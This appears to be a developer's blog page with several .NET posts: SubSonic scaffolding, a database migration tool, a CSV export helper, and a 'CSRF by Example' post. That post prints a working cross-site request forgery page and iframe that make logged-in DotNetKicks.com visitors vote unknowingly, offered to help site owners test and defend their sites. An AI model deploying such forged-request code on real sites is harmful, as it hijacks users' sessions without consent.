using RunXc.Web;
using RunXc.DB;


RunXc


Where the DB meets the Web

Scaffolding with Asp.Net MVC 2 and SubSonic 3

clock February 25, 2010 22:57 by author

So I would consider myself one of those Alt.Net guys always looking for a better way of doing things.  I have seen a few good C# guys move to Ruby and once introduced to SubSonic 2.1 with the ActiveRecord pattern and Scaffolding I could see why they would love those types of time saving things baked into the Framework.  Putting my monologue aside one of the things that I have been missing with SubSonic 3.0 is scaffolding.

Why Scaffolding

Any website of any size has some sort of Administration Module.  Why spend more time than necessary building the part of your website that hardly anyone ever sees or uses.  Oh and I'll bet you have never been asked to make a prototype.

MVC2 is so close but is still missing the "Baked In"

With ASP.NET MVC2 and the Html.EditorFor() you hav3 75% of what it takes to get Scaffolding working i.e. a system to create an editor dynamically for you and to top it off you can put attributes on your classes to change the display or validation of the class.

While I was playing with MVC 2 it kind of hit me. I'll bet I can make a single View to handle the Editing/Viewing/Displaying of any Model and put it in the Shared Folder so that it is easily accessible to any Controller. 

While I was at it I could create a Base Class for a Controller that would use SubSonic to persist any POCO class to the DB using the SimpleRepository to give me a Scaffolding affect.

The End Result

So now to create a Table in my DB, an List View of the Items in the Table, a Create New View and an Edit View I only need to add a POCO Class like so

   1:  public class Test
   2:  {
   3:      [HiddenInput]
   4:      public int ID { get; set; }
   5:      public string Name { get; set; }
   6:      public DateTime TestDate { get; set; }
   7:      public Decimal TestDecimal { get; set; }
   8:  }

And Then a Controller Like So

   1:      public class TestController : ScaffoldController<Test>
   2:      {
   3:   
   4:      }

 

Ok ok I know I cheated showing you the End Result but I often don't care about what they did until I decide that I might some time want to do the same thing.

 

How I Got There

 

In order to get the Desired Affect I created the following View

<asp:Content ID="Content2" ContentPlaceHolderID="MainContent" runat="server">
    <%if (this.ViewContext.RouteData.Values["action"].ToString() == "Edit"
 || this.ViewContext.RouteData.Values["action"].ToString() == "Add")
      { %>
    <h2>Editor</h2>
        <%Html.BeginForm(new { action = this.ViewContext.RouteData.Values["action"].ToString() }); %>
        <%=Html.EditorForModel() %>
        <input type="submit" value="Save" />
        <%Html.EndForm();%>
        <%=Html.RouteLink("Back To List", new { action = "Index" })%>
    <%} %>
    <%if (this.ViewContext.RouteData.Values["action"].ToString() == "Display")
      { %>
        <%=Html.DisplayForModel() %>
        
    <%} %>
    <%if (this.ViewContext.RouteData.Values["action"].ToString() == "Index")
      { %>
        <%=Html.RouteLink("Add New", new { action = "Add" })%>
        <br />
        <%=Html.Table(Model as IEnumerable) %>
    <%} %>
    <%if(ViewData.ContainsKey("results")){ %>
        <%=ViewData["results"].ToString() %>
    <%} %>
</asp:Content>

 

and the following Controller

using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.Mvc;
using SubSonic;
using SubSonic.Repository;
using SubSonic.DataProviders;
 
public class ScaffoldController<T> : Controller where T: class,new()
{
 
    public static SimpleRepository simpleRepo;
 
    public static SimpleRepository Repo
    {
        get
        {
            if (simpleRepo == null)
                simpleRepo = new SimpleRepository(SimpleRepositoryOptions.RunMigrations);
            return simpleRepo;
        }
    }
 
    public virtual ActionResult Edit(object key)
    {
        T mod = Repo.Single<T>(key);
        return View("Scaffold", mod);
    }
 
    [AcceptVerbs(HttpVerbs.Post)]
    public virtual ActionResult Edit(T mod)
    {
        if (this.ModelState.IsValid)
        {
            Repo.Update(mod);
            this.ModelState.Clear();
            ViewData["results"] = "Saved Successfully";
        }
        return View("Scaffold", mod);
    }
 
    public virtual ActionResult Display()
    {
        T mod = new T();
        return View("Scaffold", mod);
    }
 
    public virtual ActionResult Add()
    {
        T mod = new T();
        return View("Scaffold", mod);
    }
 
    [AcceptVerbs(HttpVerbs.Post)]
    public virtual ActionResult Add(T mod)
    {
        if (this.ModelState.IsValid)
        {
            Repo.Add(mod);
            ViewData["results"] = "Saved Successfully";
            ViewContext vc = new ViewContext();
 
            this.RouteData.Values["action"] = "Edit";
            this.ModelState.Clear();
        }
        return View("Scaffold", mod);
    }
 
    public virtual ActionResult Index(int? page, int? perpage)
    {
        var query = Repo.All<T>();
        int num = perpage ?? 20;
        if(page != null)
        {
            query.Skip((page.Value-1)*num);
        }
        query.Take(num);
        return View("Scaffold", query.ToList());
    }
}

If you would like to see the project in action below is a link to the code.  You will need VS 2010 RC to open the file.

Submit this story to DotNetKicksShout it   Bookmark and Share  


Announcing Kiss Database Change Management

clock November 18, 2009 19:20 by author

So I have been working on a project for myself the past couple of months off and on and lately every time I switch from my laptop to my desktop or try to deploy it into my test environment I have had to update the database and remember to make the same change to my 3 computers.   I went looking for something simple as mud that worked worked exactly like I wanted it to.  I found a lot of good tools to auto generate my database differencing scripts but as I wrote the scripts myself and numbered them so I would remember which ones still needed to be ran those tools didn't help me.  What I needed was something that could run batch scripts against a Sql Server database and that would keep track of the database version for me.   I introduce you to Kiss DB Change Management.

Convention

1.  Create numbered Database Version scripts that are either hand written or created by a tool like DBDiff or RedGate or Whatever.
Examples
001-Creating some tables.sql
002-Creating-some-more-tables.sql
003-Insertingsomedataandcreating_views.sql
2. Place all of the Database change scripts in the same folder.
3. Thats it. What you thought it should be more difficult?

Use

KISS is a single executable file and is invoked in the following manner.(I suggest you create a bat file or run it in your Build script)
KISS.exe /f:Kissprops.xml
Kissprops.xml is a simple xml file that specifies the connection string and Database  Provider that is going to be used see below for an example.

   1: <?xml version="1.0" encoding="utf-16"?> 
   2: <Properties xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> 
   3: <Verbose>true</Verbose> 
   4: <Wait>false</Wait> 
   5: <Provider>SQLServer</Provider> 
   6: <ConnectionString>server=.\SQLEXPRESS;database=KISS;User Id=KissUser;Password=$donate$;</ConnectionString> 
   7: <VersionTable>db_schema</VersionTable> 
   8: <VersionScriptsFolder>C:\dev\Schema\SqlServer</VersionScriptsFolder> 
   9: </Properties> 


How does it work

KISS will first discover what version the database is at by reading from the Version Table you specified (If the table doesn't exist KISS will create it so you don't need to worry about it).
KISS will then run each script that has a version above that of the database.
KISS will execute batch scripts so you can create multiple tables, views etc in the same script.
KISS executes each script as a Transaction so if the script fails the Transaction is rolled back the error message is displayed and execution is stopped. Oh it also returns an error code of 400 so that if you use it with MsBuild or Nant your build will Fail.

 

Currently Supported DataBases

SqlServer
I have set it up so that there is only one class and 4 methods needed to create a provider for any other database or to create an alternative SQL Server provider if someone ever needed to.
Submit this story to DotNetKicksShout it   Bookmark and Share  


Convention over Configuration- a .Net call to arms

clock August 26, 2009 06:36 by author

It seems that lately I have seen some of my fellow .Net programmers fall to the dark side.  Namely they have gone from the compiled world of c# to a slightly more hip Ruby on Rails(RoR) world at least for their web development projects.   I enjoy learning new technologies and languages and at first thought that they just were tired of using C# by time they got home and were learning something new in their after hours programming.  If I hadn't have had a new baby at home I might have tried to learn Ruby on Rails as most of my co-workers at my previous job gave it rave reviews.

What I find odd is that when my co-workers put their Ruby on Rails hats on they loved this idea of "Convention over Configuration" but when it came to coding in C# they wouldn't trust an ORM or some other time saving convention.  They preferred to write their own custom Data Access Layer, they preferred to write their own membership provider.  Now I understand that there were usually good reasons for these decisions but they each came with a large hit on the development timeline.

Along comes SubSonic

I at first didn't understand why most of the other developers loved RoR as I didn't take the time to learn it but a while back someone introduced me to SubSonic (which steals most of its ideas from RoR).  I was shocked at how quick I could build a web application.  In a couple of seconds I could add a developer admin page for all of my tables.  With little to no work I could handle the paging of a grid.  If I wanted to change my database schema I could make the change once and have it reflected in my code.   It was like my little tool belt that just kept giving.  It even had handy functions for checking if a string was a valid Email or Credit Card.  When I started using JSON I was enthralled to find out that it could convert my objects to JSON (this was back before ASP.NET 3.5 when it was built in).

We need more than just an ORM

For a good productivity/convention belt we need more than just an orm and we need the different pieces to play together nicely.  The productivity tool kit needs to make use of jQuery and some of its key plug-ins used for displaying and paging data as well as form validation on the client side.   It needs to tie the ORM to the User Management piece and it needs to have a default UI for Data Base manipulation.  The tool belt needs to work with little to no configuration. Too often I have had to read someone's blog about how to make X and Y play nice.  I know that I am asking for a lot but we have to build a lot of productivity saving tools and we need to have a life and play with our kids after work too.  Maybe I am just dreaming but it seems that more of our Open Source tools could converge and make our lives a little easier and happier.

.Net still has the advantage

Now I know that some people have switched to RoR for its productivity but I would argue that .Net still has the advantage.  .Net has a much larger selection of Reporting tools, PDF manipulation libraries, Bar Coding tools, etc etc.  Hey and to top it off C#/.Net is so much cooler than Ruby that it can even interpret Ruby (and many other dynamic languages).

Submit this story to DotNetKicksShout it   Bookmark and Share  


CSRF by Example, How to do it, How to defend it

clock July 6, 2009 07:45 by author

For a little bit of background I would recommend that you read the article that I originally wrote titled XSS by Example.   I was originally intrigued by Cross Site Scripting  and decided to give it a try.  As dblackshell pointed out in the comments what I had originally attempted was CSRF or Cross Site Request Forgery.  Following the link he put in the article and reading up a bit more I finally figured out how to perform a Cross Site Request Forgery to kick an Article at DotNetKicks.com (a rating site similar to Digg for .Net developers).

CSRF what didn't work

If you read my previous article you would have seen my first two failed attempts at CSRF.   In one attempt I tried a cross site AJAX post which the browser wouldn't allow.  In my second attempt I tried to load DotNetKicks in an IFrame and then manipulate it from my web page which the browser didn't allow.

CSRF what did work

I knew that the request needed to be a post so what I finally ended up getting to work was a Form with an action that posted the values to DotNetKicks.com.   Below is an image from Firebug showing the request that I needed to forge.

image

AJAX can make CSRF difficult

If you are familiar with Firebug than you can clearly tell that the post above is an AJAX post using JSON and not simply a name value pair.  At first I had a difficult time duplicating the request as the following type of form would not work.

<form>
<input type="hidden" name="id" value="1" />
<input type="hidden" name="method" value="kickStory" />
<input type="hidden" name="params" value="41812" />
<input type="hidden" name="params" value="true" />
</form>

 

What I finally got to work was an input element with a blank name and a value of the JSON string that I wanted to replicate.  Below is the code that will vote for whatever article you choose.

<html xmlns="http://www.w3.org/1999/xhtml">
<head id="Head1" runat="server">
    <title>RunXc CSRF example</title>
    <script type="text/javascript" 
    src="http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js"></script>
    <script type="text/javascript">
        $(document).ready(function() {
        var kickit = location.search.substring(4);
        $('#hidDiv').html(
             '<form name="csrf" id="csrf" ' +
             'action="http://dotnetkicks.com/services/ajax/ajaxservices.ashx" method="post">' +
             ' <input type="hidden" name="" value=' + "'" + 
             '{"id":1,"method":"kickStory","params":['+ kickit +',true]}' + "'" + '/>' +
             ' </form>');
            document.getElementById("csrf").submit();
        });

    </script>
</head>
<body>
    <form id="form1" runat="server">
    <div>
    </div>
    </form>
     <div id="hidDiv" style="display:none;">
     </div>
</body>
</html>

If you create an ASPX page using the html above you can coerce anyone on your website to kick an article of your choosing (as long as they are still logged on at DotNetKicks.com. remember that is how CSRF works) with a simple Iframe somewhere else on your site that looks like this.

<iframe id="dnk" name="dnk" src="csrf.aspx?id=43310" ></iframe>

 

Now that I know this what should I do?

Information is power.   I hope with this little script that anyone who has a website that could be targeted by  CSRF that they might be able to hack their own site and then figure out how to protect their site from it.  You need to understand how hackers will attack your site to be able to protect yourself from it.  I know that you can use a hidden field and validate the value against what you sent out but I would like to know what others are doing to protect against this kind of attack.

Submit this story to DotNetKicksShout it   Bookmark and Share  


Exporting a DataTable to Excel (DataTable to CSV)

clock June 24, 2009 06:58 by author

It seems like each time I need to do this in a project (that is create an Excel file from a GridView or SQL Query) I have to look for my little snippet on how to do this in a reusable manner.  Well here you go a nice Extension Method that will return CSV from any System.Data.DataTable.

public static String ToCSV(this DataTable dt)
{
    StringBuilder sb = new StringBuilder();

    for (int x = 0; x < dt.Columns.Count; x++)
    {
        if (x != 0)
            sb.Append(",");
        sb.Append(dt.Columns[x].ColumnName);
    }
    sb.AppendLine();
    foreach (DataRow row in dt.Rows)
    {
        for (int x = 0; x < dt.Columns.Count; x++)
        {
            if (x != 0)
                sb.Append(",");
            sb.Append(row[dt.Columns[x]].ToString());
        }

        sb.AppendLine();
    }
    return sb.ToString();
}
Submit this story to DotNetKicksShout it   Bookmark and Share  


Blog.RunXc

View Bret Ferrier's profile on LinkedIn

Read an Article and Need Help?

Consulting/Contracting -Get a bid

OpenSouce Projects I like -jQuery, SubSonic, Mono, CC.Net

Languages- C#,javascript, VB, SQL, T-SQL, PSQL

DataBases- SqlServer,Oracle,MySql, SQLite, Sql Anywhere

Linux Flavors- OpenSuse, Ubuntu

VM Preference - VirtualBox

Least Favorite Reporting Technology-Crystal Reports

Sign in